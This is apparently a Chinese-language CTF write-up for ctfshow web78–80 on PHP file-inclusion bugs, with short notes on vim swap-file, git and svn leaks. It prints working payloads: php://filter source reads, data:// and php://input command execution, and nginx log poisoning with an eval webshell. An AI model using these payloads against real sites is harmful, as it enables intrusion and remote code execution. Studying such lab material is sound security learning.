1.ctfshow web78
文件包含,考察伪协议 :/?file=php://filter/convert.base64-encode/resource=flag.php
重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
另外可以使用hackbar进行快捷操作:1.快捷使用各种协议 2.各种编码破解
2.ctfshow web79
相较上题,对php进行了替换,则伪协议无法正常使用,可以使用data形式协议进行命令执行
payload1:?file=data://text/plain,<?=system('tac flag.php');?>
payload2:?file=data://text/plain,<?=eval($_GET[1]);?>
payload3:data协议base64加密:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= (其中的base64解码为:<?php system('cat flag.php');
另:还可以使用input协议:传入?file=php://input,然后使用bp抓包,在请求行写入命令执行操作发送即可:<?php system("ls");?> <?php system("cat flag.php");?>
3.ctfshow web80
显而易见,data协议也被过滤,可以使用日志插入的方法读取:使用hackbar的User-Agent写入参数:<?php eval($_POST[1]);>?
随后访问日志文件路径:?file=/var/log/nginx/access.log 使用POST传参进行命令执行,发现文件位置打开即可
也可以用webshell后门工具连接,查看目录:
?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();
?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();
4.vim临时文件泄露
vim是linux自带且常用的文件编辑器,vim在编辑时会生成一个隐藏的临时文件,当vim非正常关闭时这个文件就会被保留下来。 使用vim时意外退出,会在目录下生成一个备份文件,格式为 .文件名.swp,访问/index.php.swp可以下载备份文件
5.git文件泄露
Git泄露是十分常见的漏洞,可以快速上手。
.git文件夹是git init后在当前目录生成的一个管理git仓库的文件夹,这里包含所有git操作所需要的东西,在使用github储存库时如果没有处理好,很有可能能够通过它获取到信息。
6.svn文件泄露
SVN(subversion)是程序员常用的源代码版本管理软件。在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。